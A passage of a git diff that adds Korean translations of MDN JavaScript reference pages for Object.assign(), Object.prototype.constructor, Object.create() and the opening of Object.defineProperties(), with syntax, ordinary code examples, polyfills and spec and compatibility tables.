+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.__defineGetter__', 'Object.prototype.__defineGetter__()')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Included in the (normative) annex for additional ECMAScript legacy features for Web browsers (note that the specification codifies what is already in implementations).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.defineGetter")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}} operator</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">JS Guide: Defining Getters and Setters</a></li>
+ <li><a href="https://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Blog Post] Deprecation of __defineGetter__ and __defineSetter__</a></li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/assign/index.html b/files/ko/web/javascript/reference/global_objects/object/assign/index.html
new file mode 100644
index 0000000000..38b25d0bd8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/assign/index.html
@@ -0,0 +1,284 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Global_Objects/Object/assign
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+ - polyfill
+ - 객체
+ - 레퍼런스
+ - 메소드
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.assign()</code> </strong>메소드는 열거할 수 있는 하나 이상의 출처 객체로부터 대상 객체로 속성을 복사할 때 사용합니다. 대상 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-assign.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.assign(<var>target</var>, ...<var>sources</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>대상 객체.</dd>
+ <dt><code>sources</code></dt>
+ <dd>하나 이상의 출처 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>동일한 키가 존재할 경우 대상 객체의 속성은 출처 객체의 속성으로 덮어쓰여집니다. 후에 출처의 속성은 이전의 출처의 속성과 유사하게 덮어씁니다.</p>
+
+<p><code>Object.assign()</code> 메소드는 열거할 수 있는 출처 객체의 속성만 대상 객체로 복사합니다. 이 메소드는 출처 객체의 <code>[[Get]]</code>, 대상 객체의 <code>[[Set]]</code> 을 사용하여 getter 와 setter 를 호출합니다. 따라서 이는 속성을 단순히 복사하거나 새롭게 정의하는 것이 아니라 할당하는 것입니다. 병합 출처가 getter 를 포함하는 경우 프로토타입으로 새로운 속성을 병합하는 것이 적절하지 않을 수 있습니다. 프로토타입으로 속성의 열거성을 포함한 속성의 정의를 복사하려면 대신 {{jsxref("Object.getOwnPropertyDescriptor()")}} 와 {{jsxref("Object.defineProperty()")}} 를 사용해야합니다.</p>
+
+<p>{{jsxref("String")}} 과 {{jsxref("Symbol")}} 속성 모두가 복사됩니다.</p>
+
+<p>에러가 발생할 수 있는 상황에서는(예, 프로퍼티가 쓰기 불가인 경우), {{jsxref("TypeError")}} 가 발생하며, 에러가 발생하기 전에 속성이 추가되었다면 <code>target</code> 객체는 변경될 수 있습니다.</p>
+
+<p><code>Object.assign()</code> 메소드는 {{jsxref("null")}} 또는 {{jsxref("undefined")}} 출처 값에 대해서는 오류를 던지지 않음을 유의하세요.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="객체_클로닝">객체 클로닝</h3>
+
+<pre class="brush: js">const obj = { a: 1 };
+const copy = Object.assign({}, obj);
+console.log(copy); // { a: 1 }
+</pre>
+
+<h3 id="Deep_Clone" name="Deep_Clone">깊은 클로닝에 대한 주의사항</h3>
+
+<p>깊은 클로닝에 대해서, <code>Object.assign()</code> 은 속성의 값을 복사하기때문에 다른 대안을 사용해야합니다. 출처 값이 객체에 대한 참조인 경우, 참조 값만을 복사합니다.</p>
+
+<pre class="brush: js">function test() {
+ 'use strict';
+
+ let obj1 = { a: 0 , b: { c: 0}};
+ let obj2 = Object.assign({}, obj1);
+ console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+ obj1.a = 1;
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+ console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+ obj2.a = 2;
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+ console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
+
+ obj2.b.c = 3; // obj1, obj2 모두에 영향을 줌
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}}
+ console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}}
+
+ // 깊은 클론
+ obj1 = { a: 0 , b: { c: 0}};
+ let obj3 = JSON.parse(JSON.stringify(obj1));
+ obj1.a = 4;
+ obj1.b.c = 4;
+ console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}}
+}
+
+test();</pre>
+
+<h3 id="객체_병합">객체 병합</h3>
+
+<pre class="brush: js">const o1 = { a: 1 };
+const o2 = { b: 2 };
+const o3 = { c: 3 };
+
+const obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1); // { a: 1, b: 2, c: 3 }, 대상 객체 자체가 변경됨.</pre>
+
+<h3 id="같은_속성을_가진_객체_병합">같은 속성을 가진 객체 병합</h3>
+
+<pre class="brush: js">const o1 = { a: 1, b: 1, c: 1 };
+const o2 = { b: 2, c: 2 };
+const o3 = { c: 3 };
+
+const obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }</pre>
+
+<p>속성은 파라미터 순서에서 더 뒤에 위치한 동일한 속성을 가진 다른 객체에 의해 덮어쓰입니다.</p>
+
+<h3 id="심볼형_속성_복사">심볼형 속성 복사</h3>
+
+<pre class="brush: js">const o1 = { a: 1 };
+const o2 = { [Symbol('foo')]: 2 };
+
+const obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
+</pre>
+
+<h3 id="프로토타입_체인의_속성과_열거_불가형_속성은_복사_불가">프로토타입 체인의 속성과 열거 불가형 속성은 복사 불가</h3>
+
+<pre class="brush: js">const obj = Object.create({ foo: 1 }, { // foo 는 obj 의 프로토타입 체인상에 있음.
+ bar: {
+ value: 2 // bar 는 열거 불가능한 속성임.
+ },
+ baz: {
+ value: 3,
+ enumerable: true // baz 는 자체 열거형 속성임.
+ }
+});
+
+const copy = Object.assign({}, obj);
+console.log(copy); // { baz: 3 }
+</pre>
+
+<h3 id="원시_자료형은_객체로_래핑">원시 자료형은 객체로 래핑</h3>
+
+<pre class="brush: js">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo');
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// 원시 자료형은 래핑되지만, null 과 undefined 는 무시됨.
+// 스트링 래퍼만 자체 열거형 속성을 가짐을 유의.
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="예외에_의해_진행중인_복사_작업_중단">예외에 의해 진행중인 복사 작업 중단</h3>
+
+<pre class="brush: js">var target = Object.defineProperty({}, 'foo', {
+ value: 1,
+ writable: false
+}); // target.foo 는 읽기 전용 속성
+
+Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// target.foo 에 할당할 때 예외 발생
+
+console.log(target.bar); // 2, 첫 번째 출처 객체는 성공적으로 복사되었음.
+console.log(target.foo2); // 3, 두 번째 출처 객체의 첫 번째 프로퍼티도 성공적으로 복사되었음.
+console.log(target.foo); // 1, 여기에서 예외가 발생.
+console.log(target.foo3); // undefined, assign 메소드가 종료되었음, foo3 은 복사되지 않음.
+console.log(target.baz); // undefined, 세 번째 출처도 복사되지 않음.
+</pre>
+
+<h3 id="접근자_복사">접근자 복사</h3>
+
+<pre class="brush: js">var obj = {
+ foo: 1,
+ get bar() {
+ return 2;
+ }
+};
+
+var copy = Object.assign({}, obj);
+console.log(copy);
+// { foo: 1, bar: 2 }, copy.bar 의 값은 obj.bar 의 getter 의 반환 값임.
+
+// 모든 descriptors 를 복사하는 할당 함수
+function completeAssign(target, ...sources) {
+ sources.forEach(source =&gt; {
+  let descriptors = Object.keys(source).reduce((descriptors, key) =&gt; {
+  descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+  return descriptors;
+  }, {});
+  // 기본적으로, Object.assign 는 열거형 Symbol 도 복사함.
+  Object.getOwnPropertySymbols(source).forEach(sym =&gt; {
+  let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+  if (descriptor.enumerable) {
+  descriptors[sym] = descriptor;
+  }
+  });
+ Object.defineProperties(target, descriptors);
+ });
+ return target;
+}
+
+var copy = completeAssign({}, obj);
+console.log(copy);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>ES5 에는 심볼이 없기 때문에 다음 {{Glossary("Polyfill","폴리필")}} 은 심볼 속성을 지원하지 않습니다.</p>
+
+<pre class="brush: js">if (typeof Object.assign != 'function') {
+ // Must be writable: true, enumerable: false, configurable: true
+ Object.defineProperty(Object, "assign", {
+ value: function assign(target, varArgs) { // .length of function is 2
+ 'use strict';
+ if (target == null) { // TypeError if undefined or null
+ throw new TypeError('Cannot convert undefined or null to object');
+ }
+
+ var to = Object(target);
+
+ for (var index = 1; index &lt; arguments.length; index++) {
+ var nextSource = arguments[index];
+
+ if (nextSource != null) { // Skip over if undefined or null
+ for (var nextKey in nextSource) {
+ // Avoid bugs when hasOwnProperty is shadowed
+ if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+ to[nextKey] = nextSource[nextKey];
+ }
+ }
+ }
+ }
+ return to;
+ },
+ writable: true,
+ configurable: true
+ });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Object.assign")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">속성의 열거성과 소유권</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax#Spread_in_object_literals">객체 리터럴에서의 Spread</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/constructor/index.html b/files/ko/web/javascript/reference/global_objects/object/constructor/index.html
new file mode 100644
index 0000000000..0162140d9c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/constructor/index.html
@@ -0,0 +1,155 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Reference/Global_Objects/Object/constructor
+tags:
+ - JavaScript
+ - Object
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<div>{{JSRef}}</div>
+
+<p>인스턴스의 프로토타입을 만든 {{jsxref("Object")}} 함수의 참조를 반환합니다. 이 속성값은 함수 자체의 참조임을 주의하세요, 함수 이름을 포함하는 문자열이 아니라. 그 값은 <code>1</code>, <code>true</code> 및 <code>"test"</code>와 같은 원시(primitive) 값에 대해서만 읽기 전용입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 자신의 <code>prototype</code>으로부터 <code>constructor</code> 속성을 상속합니다:</p>
+
+<pre>var o = {};
+o.constructor === Object; // true
+
+var o = new Object;
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var a = new Array;
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체의_생성자_표시하기">객체의 생성자 표시하기</h3>
+
+<p>다음 예는 프로토타입이 <code>Tree</code>인 그 형의 객체 <code>theTree</code>를 만듭니다. 그 다음 객체 <code>theTree</code>의 <code>constructor</code>를 표시합니다.</p>
+
+<pre class="brush: js">function Tree(name) {
+ this.name = name;
+}
+
+var theTree = new Tree('Redwood');
+console.log('theTree.constructor is ' + theTree.constructor);
+</pre>
+
+<p>이 예는 다음 출력을 표시합니다:</p>
+
+<pre class="brush: js">theTree.constructor is function Tree(name) {
+ this.name = name;
+}
+</pre>
+
+<h3 id="객체의_생성자_바꾸기">객체의 생성자 바꾸기</h3>
+
+<p>다음 예는 일반 객체의 constructor 값을 수정하는 법을 보입니다. <code>true</code>, <code>1</code> 및 <code>"test"</code>만이 원래 읽기 전용 생성자를 갖기에 영향을 받지 않습니다. 이 예는 객체의 <code>constructor</code> 속성에 의존하는 게 항상 안전하지는 않음을 보입니다.</p>
+
+<pre class="brush:js">function Type () {}
+
+var types = [
+ new Array(),
+ [],
+ new Boolean(),
+ true, // 바뀌지 않음
+ new Date(),
+ new Error(),
+ new Function(),
+ function () {},
+ Math,
+ new Number(),
+ 1, // 바뀌지 않음
+ new Object(),
+ {},
+ new RegExp(),
+ /(?:)/,
+ new String(),
+ 'test' // 바뀌지 않음
+];
+
+for (var i = 0; i &lt; types.length; i++) {
+ types[i].constructor = Type;
+ types[i] = [types[i].constructor, types[i] instanceof Type, types[i].toString()];
+}
+
+console.log(types.join('\n'));
+</pre>
+
+<p>이 예는 다음 출력을 표시합니다:</p>
+
+<pre class="brush: js">function Type() {},false,
+function Type() {},false,
+function Type() {},false,false
+function Boolean() {
+ [native code]
+},false,true
+function Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600
+function Type() {},false,Error
+function Type() {},false,function anonymous() {
+
+}
+function Type() {},false,function () {}
+function Type() {},false,[object Math]
+function Type() {},false,0
+function Number() {
+ [native code]
+},false,1
+function Type() {},false,[object Object]
+function Type() {},false,[object Object]
+function Type() {},false,/(?:)/
+function Type() {},false,/(?:)/
+function Type() {},false,
+function String() {
+ [native code]
+},false,test
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.1', 'Object.prototype.constructor')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Object.constructor")}}</div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/javascript/reference/global_objects/object/create/index.html b/files/ko/web/javascript/reference/global_objects/object/create/index.html
new file mode 100644
index 0000000000..87a672aace
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/create/index.html
@@ -0,0 +1,271 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Global_Objects/Object/create
+tags:
+ - ECMAScript5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.create()</strong></code> 메서드는 지정된 프로토타입 객체 및 속성(property)을 갖는 새 객체를 만듭니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.create(<var>proto</var>[, <var>propertiesObject</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>proto</code></dt>
+ <dd>새로 만든 객체의 프로토타입이어야 할 객체.</dd>
+ <dt><code>propertiesObject</code></dt>
+ <dd>선택사항. 지정되고 {{jsxref("undefined")}}가 아니면, 자신의 속성(즉, 자체에 정의되어 그 프로토타입 체인에서 열거가능하지 <em>않은</em> 속성)이 열거가능한 객체는 해당 속성명으로 새로 만든 객체에 추가될 속성 설명자(descriptor)를 지정합니다. 이러한 속성은 {{jsxref("Object.defineProperties()")}}의 두 번째 인수에 해당합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>지정된 프로토타입 개체와 속성을 갖는 새로운 개체.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>proto</code> 매개변수가 {{jsxref("null")}} 또는 객체가 아닌 경우 {{jsxref("TypeError")}} 예외가 발생(throw).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Object.create()를_사용한_고전적인_상속방법"><code>Object.create()</code>를 사용한 고전적인 상속방법</h3>
+
+<p>아래는 고전적인 상속방법으로 사용된 <code>Object.create()</code> 사용 예입니다. 이는 단일 상속 용으로, JavaScript가 지원하는 전부입니다.</p>
+
+<pre class="brush: js">// Shape - 상위클래스
+function Shape() {
+ this.x = 0;
+ this.y = 0;
+}
+
+// 상위클래스 메서드
+Shape.prototype.move = function(x, y) {
+ this.x += x;
+ this.y += y;
+ console.info('Shape moved.');
+};
+
+// Rectangle - 하위클래스
+function Rectangle() {
+ Shape.call(this); // super 생성자 호출.
+}
+
+// 하위클래스는 상위클래스를 확장
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('Is rect an instance of Rectangle?', rect instanceof Rectangle); // true
+console.log('Is rect an instance of Shape?', rect instanceof Shape); // true
+rect.move(1, 1); // Outputs, 'Shape moved.'
+</pre>
+
+<p>여러 객체에서 상속하고 싶은 경우엔 mixin이 사용가능합니다.</p>
+
+<pre class="brush: js">function MyClass() {
+ SuperClass.call(this);
+ OtherSuperClass.call(this);
+}
+
+MyClass.prototype = Object.create(SuperClass.prototype); // 상속
+mixin(MyClass.prototype, OtherSuperClass.prototype); // mixin
+
+MyClass.prototype.myMethod = function() {
+ // 기능 수행
+};
+</pre>
+
+<p><code>mixin</code> 함수는 상위(super)클래스 프로토타입에서 하위(sub)클래스 프로토타입으로 함수를 복사하고, mixin 함수는 사용자에 의해 공급될 필요가 있습니다. mixin 같은 함수의 예는 <a href="https://api.jquery.com/jQuery.extend/">jQuery.extend()</a>입니다.</p>
+
+<h3 id="Object.create()와_함께_propertiesObject_인수_사용하기"><code>Object.create()<font face="Open Sans, Arial, sans-serif">와 함께 </font></code><code>propertiesObject</code> 인수 사용하기</h3>
+
+<pre class="brush: js">var o;
+
+// 프로토타입이 null인 객체 생성
+o = Object.create(null);
+
+
+o = {};
+// 위는 아래와 같습니다:
+o = Object.create(Object.prototype);
+
+
+// 샘플 속성 두개를 갖는 객체를 만드는 예.
+// (두 번째 매개변수는 키를 *속성 설명자*에 맵핑함을 주의하세요.)
+o = Object.create(Object.prototype, {
+ // foo는 정규 '값 속성'
+ foo: { writable: true, configurable: true, value: 'hello' },
+ // bar는 접근자(accessor, getter-및-setter) 속성
+ bar: {
+ configurable: false,
+ get: function() { return 10; },
+ set: function(value) { console.log('Setting `o.bar` to', value); }
+/* ES5 접근자로 코드는 이렇게 할 수 있습니다
+ get function() { return 10; },
+ set function(value) { console.log('setting `o.bar` to', value); } */
+ }
+});
+
+
+function Constructor() {}
+o = new Constructor();
+// 위는 아래와 같습니다:
+o = Object.create(Constructor.prototype);
+// 물론, 생성자 함수에 실제 초기화 코드가 있다면
+// Object.create()는 그것을 반영할 수 없습니다
+
+
+// 빈 새 객체가 프로토타입인 새 객체를 만들고
+// 값이 42인 단일 속성 'p' 추가.
+o = Object.create({}, { p: { value: 42 } });
+
+// 기본으로 writable, enumerable 또는 configurable 속성은 false:
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+ console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// ES3 속성을 지정하기 위해
+o2 = Object.create({}, {
+ p: {
+ value: 42,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ }
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>이 폴리필에서는 새 개체에 대한 프로토타입이 선택되었지만 두번째 인수가 없이 개체를 생성하는 사례를 보여줍니다.</p>
+
+<p><code>[[Prototype]]</code>에 <code>null</code> 을 설정하는 것이 실제 ES5 <code>Object.create</code>에서는 지원되지만, ECMAScript 5 보다 낮은 버전에서는 상속에 제한이 있기 때문에 이 폴리필에서는 지원할 수 없음에 주의하세요.</p>
+
+<pre class="brush: js">if (typeof Object.create != 'function') {
+ Object.create = (function(undefined) {
+ var Temp = function() {};
+ return function (prototype, propertiesObject) {
+ if(prototype !== Object(prototype) &amp;&amp; prototype !== null) {
+ throw TypeError('Argument must be an object, or null');
+ }
+ Temp.prototype = prototype || {};
+ if (propertiesObject !== undefined) {
+ Object.defineProperties(Temp.prototype, propertiesObject);
+  }
+ var result = new Temp();
+ Temp.prototype = null;
+  // Object.create(null)인 경우 모방
+  if(prototype === null) {
+  result.__proto__ = null;
+  }
+ return result;
+ };
+ })();
+}</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("5")}}</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("11.60")}}</td>
+ <td>{{CompatSafari("5")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatOperaMobile("11.5")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>John Resig의 <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a> 포스트</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html
new file mode 100644
index 0000000000..a0949f78f2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html
@@ -0,0 +1,191 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.defineProperties()</strong></code> 메서드는 객체에 새로운 속성을 정의하거나 기존의 속성을 수정하고, 그 객체를 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperties.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<var>obj</var>, <var>props</var>)</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code><var>obj</var></code></dt>
+ <dd>속성을 정의하거나 수정할 객체.</dd>
+ <dt><code><var>props</var></code></dt>
+ <dd>정의하거나 수정할 속성의 이름을 키로, 그 속성을 서술하는 객체를 값으로 갖는 객체. <code>props</code>의 각 값은 데이터 서술자(data descriptor) 혹은 접근자 서술자(accessor descriptor) 중 하나여야 하며, 동시에 두 유형을 포함할 수 없다({{jsxref("Object.defineProperty()")}} 참조).</dd>
+ <dd>데이터 서술자와 접근자 서술자 모두 다음 키를 선택적으로 포함할 수 있다:</dd>
+ <dd>
+ <dl>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code>일 경우 이 속성 서술자의 형태를 변경하거나, 속성을 해당 객체에서 삭제할 수 있다.<br>
+ <strong>기본값은 <code>false</code>이다.</strong></dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code>일 경우 해당 객체의 속성을 열거할 때 이 속성이 열거된다.<br>
+ <strong>기본값은 <code>false</code>이다.</strong></dd>
+ </dl>
+
+ <p>데이터 서술자의 경우 다음 키를 추가로 포함할 수 있다:</p>
+
+ <dl>
+ <dt><code>value</code></dt>
+ <dd>이 속성에 설정할 값. 올바른 자바스크립트 값(숫자, 객체, 함수 등)이면 무엇이든 설정할 수 있다.<br>
+ <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+ <dt><code>writable</code></dt>
+ <dd><code>true</code>일 경우 이 속성에 설정된 값을 {{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}}로 수정할 수 있다.<br>
+ <strong>기본값은 <code>false</code>이다.</strong></dd>
+ </dl>
+
+ <p>접근자 서술자의 경우 다음 키를 추가로 포함할 수 있다:</p>
+
+ <dl>
+ <dt><code>get</code></dt>
+ <dd>해당 속성의 getter가 될 함수, 혹은 getter가 없을 경우 {{jsxref("undefined")}}. 이 함수의 반환값이 속성의 값으로 사용된다.<br>
+ <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+ <dt><code>set</code></dt>
+ <dd>해당 속성의 setter가 될 함수, 혹은 setter가 없을 경우 {{jsxref("undefined")}}. 이 함수는 이 속성에 할당되는 새로운 값을 유일한 인자로 받는다.<br>
+ <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+ </dl>
+
+ <p>서술자가 <code>value</code>, <code>writable</code>, <code>get</code>, <code>set</code> 키를 모두 가지고 있지 않을 경우 데이터 서술자로 취급한다. 서술자가 <code>value</code>이나 <code>writable</code>과 <code>get</code>이나 <code>set</code> 키를 모두 가지고 있을 경우 예외가 발생한다.</p>
+ </dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>함수에 넘겨주었던 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.defineProperties</code>는 기본적으로 <code>props</code>의 모든 열거가능한 속성에 따라 객체 <code>obj</code>의 속성을 정의한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperties(obj, {
+ 'property1': {
